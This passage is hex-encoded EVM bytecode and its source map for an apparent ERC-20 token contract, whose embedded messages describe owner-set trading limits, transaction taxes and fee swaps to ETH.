83c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611dfb91906129d7565b602060405180830381865afa158015611e16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e3a91906135e8565b90505f828287611e4a9190612cea565b611e549190612e5b565b90506003548110611e6457600193505b505050611e71565b600190505b80915050919050565b6001601360016101000a81548160ff0219169083151502179055505f6011549050600a548110158015611eb8575060135f9054906101000a900460ff165b15611f7f57600b548110611ecc57600b5490505b5f8190506009600a611ede9190612ca0565b6001611eea9190612cea565b811115611f66578160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611f3d9190612e8b565b92505081905550611f4d816124ce565b8160115f828254611f5e9190612d93565b925050819055505b5f4790505f811115611f7c57611f7b81612668565b5b50505b505f601360016101000a81548160ff021916908315150217905550565b5f806001905060135f9054906101000a900460ff168015612004575060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612057575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156121195760015483111561206e575f9050612118565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561210e57506002548360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210c9190612e8b565b115b15612117575f90505b5b5b809150509392505050565b5f8060135f9054906101000a900460ff161580612187575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806121d8575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156121e5575f90506122e1565b60105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156122645760645f60159054906101000a900460ff1660ff16846122539190612cea565b61225d9190612e5b565b90506122e0565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156122df5760645f60149054906101000a900460ff1660ff16846122d29190612cea565b6122dc9190612e5b565b90505b5b5b809150509392505050565b8060055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156124cb577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516124c2919061288b565b60405180910390a35b50565b6124d7816122ec565b5f600267ffffffffffffffff8111156124f3576124f2613613565b5b6040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b50905030815f8151811061253857612537613640565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061259b5761259a613640565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612637959493929190613724565b5f604051808303815f87803b15801561264e575f80fd5b505af1158015612660573d5f803e3d5ffd5b505050505050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156126cc573d5f803e3d5ffd5b5050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156127075780820151818401526020810190506126ec565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61272c826126d0565b61273681856126da565b93506127468185602086016126ea565b61274f81612712565b840191505092915050565b5f6020820190508181035f8301526127728184612722565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6127a78261277e565b9050919050565b6127b78161279d565b81146127c1575f80fd5b50565b5f813590506127d2816127ae565b92915050565b5f819050919050565b6127ea816127d8565b81146127f4575f80fd5b50565b5f81359050612805816127e1565b92915050565b5f80604083850312156128215761282061277a565b5b5f61282e858286016127c4565b925050602061283f858286016127f7565b9150509250929050565b5f8115159050919050565b61285d81612849565b82525050565b5f6020820190506128765f830184612854565b92915050565b612885816127d8565b82525050565b5f60208201905061289e5f83018461287c565b92915050565b5f805f606084860312156128bb576128ba61277a565b5b5f6128c8868287016127c4565b93505060206128d9868287016127c4565b92505060406128ea868287016127f7565b9150509250925092565b5f60ff82169050919050565b612909816128f4565b82525050565b5f6020820190506129225f830184612900565b92915050565b5f61ffff82169050919050565b61293e81612928565b8114612948575f80fd5b50565b5f8135905061295981612935565b92915050565b5f80604083850312156129755761297461277a565b5b5f6129828582860161294b565b92505060206129938582860161294b565b9150509250929050565b5f602082840312156129b2576129b161277a565b5b5f6129bf848285016127c4565b91505092915050565b6129d18161279d565b82525050565b5f6020820190506129ea5f8301846129c8565b92915050565b5f8060408385031215612a0657612a0561277a565b5b5f612a13858286016127c4565b9250506020612a24858286016127c4565b9150509250929050565b5f63ffffffff82169050919050565b612a4681612a2e565b8114612a50575f80fd5b50565b5f81359050612a6181612a3d565b92915050565b5f805f805f60a08688031215612a8057612a7f61277a565b5b5f612a8d88828901612a53565b9550506020612a9e88828901612a53565b9450506040612aaf88828901612a53565b9350506060612ac088828901612a53565b9250506080612ad188828901612a53565b9150509295509295909350565b5f612ae88261277e565b9050919050565b612af881612ade565b8114612b02575f80fd5b50565b5f81359050612b1381612aef565b92915050565b5f60208284031215612b2e57612b2d61277a565b5b5f612b3b84828501612b05565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612bc657808604811115612ba257612ba1612b44565b5b6001851615612bb15780820291505b8081029050612bbf85612b71565b9450612b86565b94509492505050565b5f82612bde5760019050612c99565b81612beb575f9050612c99565b8160018114612c015760028114612c0b57612c3a565b6001915050612c99565b60ff841115612c1d57612c1c612b44565b5b8360020a915084821115612c3457612c33612b44565b5b50612c99565b5060208310610133831016604e8410600b8410161715612c6f5782820a905083811115612c6a57612c69612b44565b5b612c99565b612c7c8484846001612b7d565b92509050818404811115612c9357612c92612b44565b5b81810290505b9392505050565b5f612caa826127d8565b9150612cb5836128f4565b9250612ce27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612bcf565b905092915050565b5f612cf4826127d8565b9150612cff836127d8565b9250828202612d0d816127d8565b91508282048414831517612d2457612d23612b44565b5b5092915050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f612d5f6014836126da565b9150612d6a82612d2b565b602082019050919050565b5f6020820190508181035f830152612d8c81612d53565b9050919050565b5f612d9d826127d8565b9150612da8836127d8565b9250828203905081811115612dc057612dbf612b44565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697320666e00000000005f82015250565b5f612dfa601b836126da565b9150612e0582612dc6565b602082019050919050565b5f6020820190508181035f830152612e2781612dee565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612e65826127d8565b9150612e70836127d8565b925082612e8057612e7f612e2e565b5b828204905092915050565b5f612e95826127d8565b9150612ea0836127d8565b9250828201905080821115612eb857612eb7612b44565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f612ef2600a836126da565b9150612efd82612ebe565b602082019050919050565b5f6020820190508181035f830152612f1f81612ee6565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f612f5a600e836126da565b9150612f6582612f26565b602082019050919050565b5f6020820190508181035f830152612f8781612f4e565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f612fc2600c836126da565b9150612fcd82612f8e565b602082019050919050565b5f6020820190508181035f830152612fef81612fb6565b9050919050565b5f66ffffffffffffff82169050919050565b5f61301282612ff6565b915061301d83612ff6565b925082820261302b81612ff6565b915080821461303d5761303c612b44565b5b5092915050565b7f4d696e2d4d6178206572726f72000000000000000000000000000000000000005f82015250565b5f613078600d836126da565b915061308382613044565b602082019050919050565b5f6020820190508181035f8301526130a58161306c565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f6130e0600a836126da565b91506130eb826130ac565b602082019050919050565b5f6020820190508181035f83015261310d816130d4565b9050919050565b7f4e6f2045544820696e2063612f6d7367000000000000000000000000000000005f82015250565b5f6131486010836126da565b915061315382613114565b602082019050919050565b5f6020820190508181035f8301526131758161313c565b9050919050565b7f4e6f20746f6b656e7320696e20636100000000000000000000000000000000005f82015250565b5f6131b0600f836126da565b91506131bb8261317c565b602082019050919050565b5f6020820190508181035f8301526131dd816131a4565b9050919050565b5f815190506131f2816127ae565b92915050565b5f6020828403121561320d5761320c61277a565b5b5f61321a848285016131e4565b91505092915050565b5f6040820190506132365f8301856129c8565b61324360208301846129c8565b9392505050565b5f81519050919050565b5f81905092915050565b5f6132688261324a565b6132728185613254565b93506132828185602086016126ea565b80840191505092915050565b5f613299828461325e565b915081905092915050565b7f4661696c656420616464696e67206c70000000000000000000000000000000005f82015250565b5f6132d86010836126da565b91506132e3826132a4565b602082019050919050565b5f6020820190508181035f830152613305816132cc565b9050919050565b5f819050919050565b5f61332f61332a6133258461277e565b61330c565b61277e565b9050919050565b5f61334082613315565b9050919050565b5f61335182613336565b9050919050565b61336181613347565b82525050565b5f60208201905061337a5f830184613358565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f6133b4601a836126da565b91506133bf82613380565b602082019050919050565b5f6020820190508181035f8301526133e1816133a8565b9050919050565b7f4d455620626c6f636b00000000000000000000000000000000000000000000005f82015250565b5f61341c6009836126da565b9150613427826133e8565b602082019050919050565b5f6020820190508181035f83015261344981613410565b9050919050565b5f61345a826128f4565b9150613465836128f4565b9250828201905060ff81111561347e5761347d612b44565b5b92915050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f6134b8600e836126da565b91506134c382613484565b602082019050919050565b5f6020820190508181035f8301526134e5816134ac565b9050919050565b5f819050919050565b5f61350f61350a613505846134ec565b61330c565b6127d8565b9050919050565b61351f816134f5565b82525050565b5f60c0820190506135385f8301896129c8565b613545602083018861287c565b6135526040830187613516565b61355f6060830186613516565b61356c60808301856129c8565b61357960a083018461287c565b979650505050505050565b5f81519050613592816127e1565b92915050565b5f805f606084860312156135af576135ae61277a565b5b5f6135bc86828701613584565b93505060206135cd86828701613584565b92505060406135de86828701613584565b9150509250925092565b5f602082840312156135fd576135fc61277a565b5b5f61360a84828501613584565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61369f8161279d565b82525050565b5f6136b08383613696565b60208301905092915050565b5f602082019050919050565b5f6136d28261366d565b6136dc8185613677565b93506136e783613687565b805f5b838110156137175781516136fe88826136a5565b9750613709836136bc565b9250506001810190506136ea565b5085935050505092915050565b5f60a0820190506137375f83018861287c565b6137446020830187613516565b818103604083015261375681866136c8565b905061376560608301856129c8565b613772608083018461287c565b969550505050505056fea264697066735822122018b7c1329cfcb8f7c3b1a66e990b704030a8044210542d721ab93a6e1de10dc764736f6c63430008150033

Deployed Bytecode Sourcemap

1679:10625:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4154:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4602:211;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4060:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5051:302;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3974:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10281:444;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4330:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;683:130;;;;;;;;;;;;;:::i;:::-;;6431:126;;;;;;;;;;;;;:::i;:::-;;455:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4240:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4821:222;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4451:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10733:342;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5686:735;;;:::i;:::-;;526:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4154:80;4202:13;4226:5;;;;;;;;;;;;;;;;;4219:12;;4154:80;:::o;4602:211::-;4677:4;4729:6;4694:11;:23;4706:10;4694:23;;;;;;;;;;;;;;;:32;4718:7;4694:32;;;;;;;;;;;;;;;:41;;;;4772:7;4751:37;;4760:10;4751:37;;;4781:6;4751:37;;;;;;:::i;:::-;;;;;;;;4806:4;4799:11;;4602:211;;;;:::o;4060:88::-;4115:7;1850:1;1914:2;:13;;;;:::i;:::-;1898:12;:30;;;;:::i;:::-;4126:19;;4060:88;:::o;5051:302::-;5154:4;5179:29;5197:10;5179:17;:29::i;:::-;5171:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;5283:6;5244:11;:23;5256:10;5244:23;;;;;;;;;;;;;;;:35;5268:10;5244:35;;;;;;;;;;;;;;;;:45;;;;;;;:::i;:::-;;;;;;;;5307:43;5321:10;5333:8;5343:6;5307:13;:43::i;:::-;5300:50;;5051:302;;;;;:::o;3974:80::-;4026:5;1850:1;4035:16;;3974:80;:::o;10281:444::-;317:6;;;;;;;;;;303:20;;:10;:20;;;295:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;10380:16:::1;10440:1;10433:4;10414:16;10399:31;;1850:1;1914:2;:13;;;;:::i;:::-;1898:12;:30;;;;:::i;:::-;10399:31;;;;:::i;:::-;:38;;;;:::i;:::-;:42;;;;:::i;:::-;10380:61;;10472:12;;10460:8;:24;;10452:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;10525:8;10510:12;:23;;;;10544:20;10608:1;10601:4;10582:16;10567:31;;1850:1;1914:2;:13;;;;:::i;:::-;1898:12;:30;;;;:::i;:::-;10567:31;;;;:::i;:::-;:38;;;;:::i;:::-;:42;;;;:::i;:::-;10544:65;;10644:14;;10628:12;:30;;10620:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;10705:12;10688:14;:29;;;;10369:356;;10281:444:::0;;:::o;4330:115::-;4396:7;4424:9;:18;4434:7;4424:18;;;;;;;;;;;;;;;;4417:25;;4330:115;;;:::o;683:130::-;317:6;;;;;;;;;;303:20;;:10;:20;;;295:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;760:1:::1;743:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;778:32;807:1;778:32;;;;;;:::i;:::-;;;;;;;;683:130::o:0;6431:126::-;317:6;;;;;;;;;;303:20;;:10;:20;;;295:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6495:12:::1;;;;;;;;;;;6494:13;6486:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;6535:14;:12;:14::i;:::-;6431:126::o:0;455:65::-;493:7;511:6;;;;;;;;;;;504:13;;455:65;:::o;4240:84::-;4290:13;4314:7;;;;;;;;;;;;;;;;;4307:14;;4240:84;:::o;4821:222::-;4900:4;4925:29;4943:10;4925:17;:29::i;:::-;4917:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;4997:43;5011:10;5023:8;5033:6;4997:13;:43::i;:::-;4990:50;;4821:222;;;;:::o;4451:143::-;4535:7;4563:11;:19;4575:6;4563:19;;;;;;;;;;;;;;;:28;4583:7;4563:28;;;;;;;;;;;;;;;;4556:35;;4451:143;;;;:::o;10733:342::-;317:6;;;;;;;;;;303:20;;:10;:20;;;295:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;10898:6:::1;10874:30;;10889:6;10874:21;;1850:1;1914:2;:13;;;;:::i;:::-;1898:12;:30;;;;:::i;:::-;10874:21;;;;:::i;:::-;:30;;;;:::i;:::-;10860:11;:44;;;;10953:6;10929:30;;10944:6;10929:21;;1850:1;1914:2;:13;;;;:::i;:::-;1898:12;:30;;;;:::i;:::-;10929:21;;;;:::i;:::-;:30;;;;:::i;:::-;10915:11;:44;;;;11000:6;10990:7;:16;;;;;;:::i;:::-;10970:36;;:17;:36;;;;11038:11;;11025;;:24;;11017:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;10733:342:::0;;;;;:::o;5686:735::-;317:6;;;;;;;;;;303:20;;:10;:20;;;295:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;3342:4:::1;3332:7;;:14;;;;;;;;;;;;;;;;;;5790:1:::2;5768:24;;:10;;;;;;;;;;;:24;;;5760:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;5827:12;;;;;;;;;;;5826:13;5818:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;5887:1;5875:9;:13;:40;;;;5914:1;5892:21;:23;5875:40;5867:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5980:1;5955:9;:24;5973:4;5955:24;;;;;;;;;;;;;;;;:26;5947:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;6043:18;;;;;;;;;;;:26;;;:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6025:58;;;6092:4;2915:42;6025:79;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6012:10;;:92;;;;;;;;;;;;;;;;;;6115:62;6129:9;:24;6147:4;6129:24;;;;;;;;;;;;;;;;6155:21;6115:13;:62::i;:::-;6213:11;;6188:9;:21;6198:10;;;;;;;;;;;6188:21;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;6236:20;6261:10;;;;;;;;;;;:15;;6277:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6261:51;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6235:77;;;6331:15;6323:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;6398:15;6378:5;:17;6384:10;;;;;;;;;;;6378:17;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;5749:672;3371:5:::1;3361:7;;:15;;;;;;;;;;;;;;;;;;5686:735::o:0;526:151::-;317:6;;;;;;;;;;303:20;;:10;:20;;;295:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;619:8:::1;610:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;644:30;665:8;644:30;;;;;;:::i;:::-;;;;;;;;526:151:::0;:::o;9474:289::-;9543:4;9559:16;9578:5;9559:24;;9599:12;;;;;;;;;;;9594:130;;;9630:4;9616:18;;9594:130;;;9657:6;:18;9664:10;9657:18;;;;;;;;;;;;;;;;;;;;;;;;;:42;;;;;9679:8;:20;9688:10;9679:20;;;;;;;;;;;;;;;;;;;;;;;;;9657:42;9653:71;;;9717:4;9703:18;;9653:71;9594:130;9744:11;9737:18;;;9474:289;;;:::o;7556:1339::-;7647:4;7690:1;7672:20;;:6;:20;;;7664:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;7739:12;;;;;;;;;;;7734:91;;7763:6;:14;7770:6;7763:14;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;;;7781:8;:16;7790:6;7781:16;;;;;;;;;;;;;;;;;;;;;;;;;7763:34;7755:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7734:91;7841:7;;;;;;;;;;;7840:8;:27;;;;;7852:5;:15;7858:8;7852:15;;;;;;;;;;;;;;;;;;;;;;;;;7840:27;:49;;;;;7871:18;7882:6;7871:10;:18::i;:::-;7840:49;7835:82;;;7894:20;:18;:20::i;:::-;7835:82;7950:9;;7934:12;:25;7929:449;;7996:15;;7981:12;:30;:47;;;;;8015:5;:13;8021:6;8015:13;;;;;;;;;;;;;;;;;;;;;;;;;7981:47;7977:133;;;8070:9;8058:21;;:8;:21;;;8050:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;7977:133;8161:3;8143:15;;:21;;;;:::i;:::-;8128:12;:36;:55;;;;;8168:5;:15;8174:8;8168:15;;;;;;;;;;;;;;;;;;;;;;;;;8128:55;:82;;;;;8205:4;8187:23;;:6;:23;;;;8128:82;8124:243;;;8270:1;8232:10;:24;8243:12;8232:24;;;;;;;;;;;:34;8257:8;8232:34;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8336:1;8298:10;:24;8309:12;8298:24;;;;;;;;;;;:34;8323:8;8298:34;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;8290:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;8124:243;7929:449;8413:4;8395:23;;:6;:23;;;;:52;;;;;8442:4;8422:25;;:8;:25;;;;8395:52;:72;;;;;8461:6;;;;;;;;;;8451:16;;:6;:16;;;;8395:72;8390:174;;;8494:38;8507:6;8515:8;8525:6;8494:12;:38::i;:::-;8486:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;8390:174;8576:18;8597:39;8611:6;8619:8;8629:6;8597:13;:39::i;:::-;8576:60;;8647:23;8682:10;8673:6;:19;;;;:::i;:::-;8647:45;;8724:6;8703:9;:17;8713:6;8703:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;8756:10;8741:11;;:25;;;;;;;:::i;:::-;;;;;;;;8800:15;8777:9;:19;8787:8;8777:19;;;;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;8848:8;8831:34;;8840:6;8831:34;;;8858:6;8831:34;;;;;;:::i;:::-;;;;;;;;8883:4;8876:11;;;;7556:1339;;;;;:::o;6828:265::-;6910:3;1850:1;1914:2;:13;;;;:::i;:::-;1898:12;:30;;;;:::i;:::-;6891:1;:16;;;;:::i;:::-;:22;;;;:::i;:::-;6872:12;:41;;;;6961:3;1850:1;1914:2;:13;;;;:::i;:::-;1898:12;:30;;;;:::i;:::-;6942:1;:16;;;;:::i;:::-;:22;;;;:::i;:::-;6925:14;:39;;;;6990:4;6975:12;;:19;;;;;;;;;;;;;;;;;;7017:12;7005:9;:24;;;;7076:9;;7058:15;;:27;;;;:::i;:::-;7040:15;:45;;;;6828:265::o;6565:255::-;6653:28;6668:12;6653:14;:28::i;:::-;6692:18;;;;;;;;;;;:34;;;6734:13;6759:4;6766:12;6780:1;6783;6786:7;;;;;;;;;;;6795:15;6692:120;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6565:255;;:::o;7101:445::-;7161:4;7178:11;7224:1;7204:17;;:21;7200:315;;;7243:13;7259:9;:21;7269:10;;;;;;;;;;;7259:21;;;;;;;;;;;;;;;;7243:37;;7295:14;2915:42;7312:22;;;7335:10;;;;;;;;;;;7312:34;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7295:51;;7362:16;7403:5;7393:6;7382:8;:17;;;;:::i;:::-;7381:27;;;;:::i;:::-;7362:46;;7439:17;;7427:8;:29;7423:53;;7469:4;7460:13;;7423:53;7227:264;;;7200:315;;;7508:4;7499:13;;7200:315;7532:6;7525:13;;;7101:445;;;:::o;11085:747::-;3342:4;3332:7;;:14;;;;;;;;;;;;;;;;;;11146:26:::1;11175:11;;11146:40;;11224:11;;11202:18;:33;;:49;;;;;11239:12;;;;;;;;;;;11202:49;11197:628;;;11296:11;;11274:18;:33;11269:78;;11333:11;;11312:32;;11269:78;11375:22;11400:18;11375:43;;1850:1;11459:2;:13;;;;:::i;:::-;11455:1;:17;;;;:::i;:::-;11438:14;:34;11434:229;;;11522:18;11494:9;:24;11512:4;11494:24;;;;;;;;;;;;;;;;:46;;;;;;;:::i;:::-;;;;;;;;11559:36;11580:14;11559:20;:36::i;:::-;11629:18;11614:11;;:33;;;;;;;:::i;:::-;;;;;;;;11434:229;11677:27;11707:21;11677:51;;11768:1;11746:19;:23;11743:71;;;11773:38;11791:19;11773:17;:38::i;:::-;11743:71;11254:571;;11197:628;11135:697;3371:5:::0;3361:7;;:15;;;;;;;;;;;;;;;;;;11085:747::o;8903:563::-;9010:4;9027:21;9051:4;9027:28;;9071:12;;;;;;;;;;;:37;;;;;9088:8;:20;9097:10;9088:20;;;;;;;;;;;;;;;;;;;;;;;;;9087:21;9071:37;:60;;;;;9113:8;:18;9122:8;9113:18;;;;;;;;;;;;;;;;;;;;;;;;;9112:19;9071:60;9066:359;;;9171:12;;9154:14;:29;9149:265;;;9225:5;9206:24;;9149:265;;;9290:5;:15;9296:8;9290:15;;;;;;;;;;;;;;;;;;;;;;;;;9289:16;:75;;;;;9349:14;;9332;9310:9;:19;9320:8;9310:19;;;;;;;;;;;;;;;;:36;;;;:::i;:::-;:53;9289:75;9266:148;;;9406:5;9387:24;;9266:148;9149:265;9066:359;9442:16;9435:23;;;8903:563;;;;;:::o;9771:500::-;9872:7;9892:17;9936:12;;;;;;;;;;;9935:13;:35;;;;9952:6;:18;9959:10;9952:18;;;;;;;;;;;;;;;;;;;;;;;;;9935:35;:56;;;;9974:6;:17;9981:9;9974:17;;;;;;;;;;;;;;;;;;;;;;;;;9935:56;9930:305;;;10022:1;10010:13;;9930:305;;;10047:5;:17;10053:10;10047:17;;;;;;;;;;;;;;;;;;;;;;;;;10042:193;;;10119:3;10104:12;;;;;;;;;;;10095:21;;:6;:21;;;;:::i;:::-;:27;;;;:::i;:::-;10083:39;;10042:193;;;10147:5;:16;10153:9;10147:16;;;;;;;;;;;;;;;;;;;;;;;;;10142:93;;;10219:3;10203:13;;;;;;;;;;;10194:22;;:6;:22;;;;:::i;:::-;:28;;;;:::i;:::-;10182:40;;10142:93;10042:193;9930:305;10254:9;10247:16;;;9771:500;;;;;:::o;5361:317::-;5481:12;5432:11;:26;5452:4;5432:26;;;;;;;;;;;;;;;:46;2825:42;5432:46;;;;;;;;;;;;;;;;:61;5427:244;;;5560:17;5511:11;:26;5531:4;5511:26;;;;;;;;;;;;;;;:46;2825:42;5511:46;;;;;;;;;;;;;;;:66;;;;2825:42;5597:62;;5614:4;5597:62;;;5641:17;5597:62;;;;;;:::i;:::-;;;;;;;;5427:244;5361:317;:::o;11840:348::-;11910:27;11925:11;11910:14;:27::i;:::-;11948:21;11986:1;11972:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11948:40;;12018:4;11999;12004:1;11999:7;;;;;;;;:::i;:::-;;;;;;;:25;;;;;;;;;;;2915:42;12035:4;12040:1;12035:7;;;;;;;;:::i;:::-;;;;;;;:14;;;;;;;;;;;12061:18;;;;;;;;;;;:69;;;12131:11;12143:1;12145:4;12158;12164:15;12061:119;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11899:289;11840:348;:::o;12196:103::-;12258:16;;;;;;;;;;;:25;;:33;12284:6;12258:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12196:103;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:6